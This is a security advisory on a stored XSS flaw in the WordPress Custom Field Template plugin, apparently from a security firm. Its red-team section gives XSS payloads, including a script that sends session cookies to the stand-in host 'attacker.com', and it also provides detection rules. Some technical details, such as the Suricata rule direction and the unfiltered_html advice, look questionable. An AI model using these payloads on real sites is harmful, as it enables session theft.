CVE-2024-0653

Executive Summary

CVE-2024-0653 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Template plugin for WordPress, affecting all versions up to and including 2.6.1. The vulnerability arises from insufficient input sanitization and output escaping in the plugin's admin settings. This allows authenticated attackers with administrator-level permissions to inject arbitrary web scripts that execute when a user accesses an injected page. The attack surface is limited to multi-site installations or environments where unfiltered_html has been disabled. Despite a low EPSS score (0.0%), the risk is elevated in shared hosting or multi-tenant WordPress setups due to the potential for privilege escalation and lateral movement.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. No known supply chain compromise has been reported, but administrators should verify plugin integrity via checksums or official sources.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must visit injected page)
• Scope: Changed (Impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires admin-level access, but in multi-site environments, a compromised admin account can lead to widespread XSS across all subsites.

Deep Dive & Mechanics

The vulnerability resides in the Custom Field Template plugin's admin settings page, where custom field templates are defined. The plugin fails to properly sanitize user-supplied input (e.g., template names, descriptions) and does not escape output when rendering these values in the admin dashboard. An attacker with admin privileges can inject malicious JavaScript into these fields. When another admin or user with access to the settings page views the injected content, the script executes in their browser context.

Key Technical Details:

• Root Cause: Lack of esc_html() or wp_kses() on output, and insufficient sanitize_text_field() on input.
• Attack Vector: Admin settings page (e.g., /wp-admin/admin.php?page=custom-field-template).
• Privilege Escalation: While the attacker needs admin access, the XSS can be used to steal session cookies, perform actions on behalf of other admins, or inject malicious content into front-end pages if the template values are displayed elsewhere.
• Multi-Site Impact: In WordPress multi-site, a super admin can inject XSS that affects all subsites, potentially compromising the entire network.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.6.1):

// In admin settings page, outputting template name without escaping
echo '<input type="text" name="cft_template_name" value="' . $template_name . '" />';

Patched Code (hypothetical fix):

// Properly escape output
echo '<input type="text" name="cft_template_name" value="' . esc_attr( $template_name ) . '" />';

The fix involves using esc_attr() for HTML attribute contexts and esc_html() for general HTML output. Input should be sanitized with sanitize_text_field() or wp_kses().

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress multi-site installation with Custom Field Template plugin <= 2.6.1.
• Admin-level credentials (or ability to escalate to admin via other means).

Steps:

1. Log in as an admin user.
2. Navigate to Settings > Custom Field Template.
3. In the "Template Name" field, inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the template.
5. When another admin visits the same settings page, the script executes.

Advanced Payload (Session Stealing):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Response)

Detection:

• Monitor admin settings page access logs for unusual POST requests to /wp-admin/admin.php?page=custom-field-template.
• Look for script tags or event handlers in plugin option values stored in wp_options table (option name: cft_template_data).

Response:

• Immediately revoke admin privileges for compromised accounts.
• Remove malicious template entries from the database.
• Update the plugin to a patched version (if available) or disable it.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/custom-field-template/ (presence of plugin)
• Database: wp_options table, cft_template_data option containing <script> tags or encoded JavaScript.
• Network: Outbound HTTP requests to attacker-controlled domains from admin dashboard.
• Logs: wp-admin/admin.php?page=custom-field-template accessed with unusual parameters.

Detection Engineering

YARA Rule

rule wordpress_custom_field_template_xss {
    meta:
        description = "Detects malicious script injection in Custom Field Template plugin options"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0653"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $option_name = "cft_template_data"
    condition:
        $option_name and $xss_payload
}

Sigma Rule

title: Suspicious Admin Settings Modification for Custom Field Template
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS injection via admin settings in Custom Field Template plugin
logsource:
    category: application
    product: wordpress
detection:
    selection:
        http.url: "/wp-admin/admin.php*"
        http.method: "POST"
        http.body: "*page=custom-field-template*"
    condition: selection
falsepositives:
    - Legitimate admin updates to template settings
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-0653 - Custom Field Template XSS Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page=custom-field-template"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-0653;
)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: If a patched version becomes available, update immediately. Currently, no patch exists.
2. Disable Plugin: Remove or deactivate the Custom Field Template plugin until a fix is released.
3. Restrict Admin Access: Limit admin privileges to trusted users only. Use role-based access control.
4. Enable unfiltered_html: In single-site installations, ensure unfiltered_html is enabled for trusted users (not recommended for multi-site).

Long-Term Measures:

• Implement Web Application Firewall (WAF) rules to block XSS payloads in admin settings.
• Regularly audit plugin code for security vulnerabilities.
• Use WordPress security plugins (e.g., Wordfence) to monitor for malicious activity.

Valters IT
Securing Digital Frontiers